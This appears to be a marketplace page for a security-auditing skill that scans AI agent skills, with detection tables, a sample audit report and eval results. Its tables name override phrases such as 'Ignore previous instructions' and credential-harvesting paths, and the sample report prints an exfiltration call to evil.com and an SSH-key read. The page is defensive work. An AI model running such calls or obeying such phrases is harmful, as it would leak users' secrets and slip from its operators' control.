Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Scan and audit AI agent skills for security risks before installation. Produces a
.claude/skills/skill-security-auditor/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-10 | ✗→✓ | ▲ Improved | — | — |
| case-07 | ✗→✓ | ▲ Improved | — | — |
| case-16 | ✗→✗ | = Same ✗ | — | — |
| case-15 | ✗→✗ | = Same ✗ | — | — |
| case-17 | ✗→✗ | = Same ✗ | — | — |
Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.
bash# Audit a local skill directory python3 scripts/skill_security_auditor.py /path/to/skill-name/ # Audit a skill from a git repo python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name # Audit with strict mode (any WARN becomes FAIL) python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict # Output JSON report python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
Scans all .py, .sh, .bash, .js, .ts files for:
| Category | Patterns Detected | Severity | |----------|-------------------|----------| | Command injection | os.system(), os.popen(), subprocess.call(shell=True), backtick execution | 🔴 CRITICAL | | Code execution | eval(), exec(), compile(), __import__() | 🔴 CRITICAL | | Obfuscation | base64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains | 🔴 CRITICAL | | Network exfiltration | requests.post(), urllib.request, socket.connect(), httpx, aiohttp | 🔴 CRITICAL | | Credential harvesting | reads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns | 🔴 CRITICAL | | File system abuse | writes outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation | 🟡 HIGH | | Privilege escalation | sudo, chmod 777, setuid, cron manipulation | 🔴 CRITICAL | | Unsafe deserialization | pickle.loads(), yaml.load() (without SafeLoader), marshal.loads() | 🟡 HIGH | | Subprocess (safe) | subprocess.run() with list args, no shell | ⚪ INFO |
Scans SKILL.md and all .md reference files for:
| Pattern | Example | Severity | |---------|---------|----------| | System prompt override | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL | | Role hijacking | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL | | Safety bypass | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL | | Hidden instructions | Zero-width characters, HTML comments with directives | 🟡 HIGH | | Excessive permissions | "Run any command", "Full filesystem access" | 🟡 HIGH | | Data extraction | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL |
For skills with requirements.txt, package.json, or inline pip install:
| Check | What It Does | Severity | |-------|-------------|----------| | Known vulnerabilities | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL | | Typosquatting | Flag packages similar to popular ones (e.g., reqeusts) | 🟡 HIGH | | Unpinned versions | Flag requests>=2.0 vs requests==2.31.0 | ⚪ INFO | | Install commands in code | pip install or npm install inside scripts | 🟡 HIGH | | Suspicious packages | Low download count, recent creation, single maintainer | ⚪ INFO |
| Check | What It Does | Severity | |-------|-------------|----------| | Boundary violation | Scripts referencing paths outside skill directory | 🟡 HIGH | | Hidden files | .env, dotfiles that shouldn't be in a skill | 🟡 HIGH | | Binary files | Unexpected executables, .so, .dll, .exe | 🔴 CRITICAL | | Large files | Files >1MB that could hide payloads | ⚪ INFO | | Symlinks | Symbolic links pointing outside skill directory | 🔴 CRITICAL |
╔══════════════════════════════════════════════╗
║ SKILL SECURITY AUDIT REPORT ║
║ Skill: example-skill ║
║ Verdict: ❌ FAIL ║
╠══════════════════════════════════════════════╣
║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║
╚══════════════════════════════════════════════╝
🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing
🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://evil.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted
🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
Risk: Reads SSH private key outside skill scope
Fix: Remove filesystem access outside skill directory
⚪ INFO [DEPS-UNPIN] requirements.txt:3
Pattern: requests>=2.0
Risk: Unpinned dependency may introduce vulnerabilities
Fix: Pin to specific version: requests==2.31.0bash# Clone to temp dir, audit, then clean up python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
yaml# GitHub Actions step - name: "audit-skill-security" run: | python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
bash# Audit all skills in a directory for skill in skills/*/; do python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl done
For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.
When in doubt after an audit, don't install. Ask the skill author for clarification.
| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-16 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 22 cases were attempted. The headline lift of +9 percentage points is the difference between those two pass rates over the 22 comparable cases.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.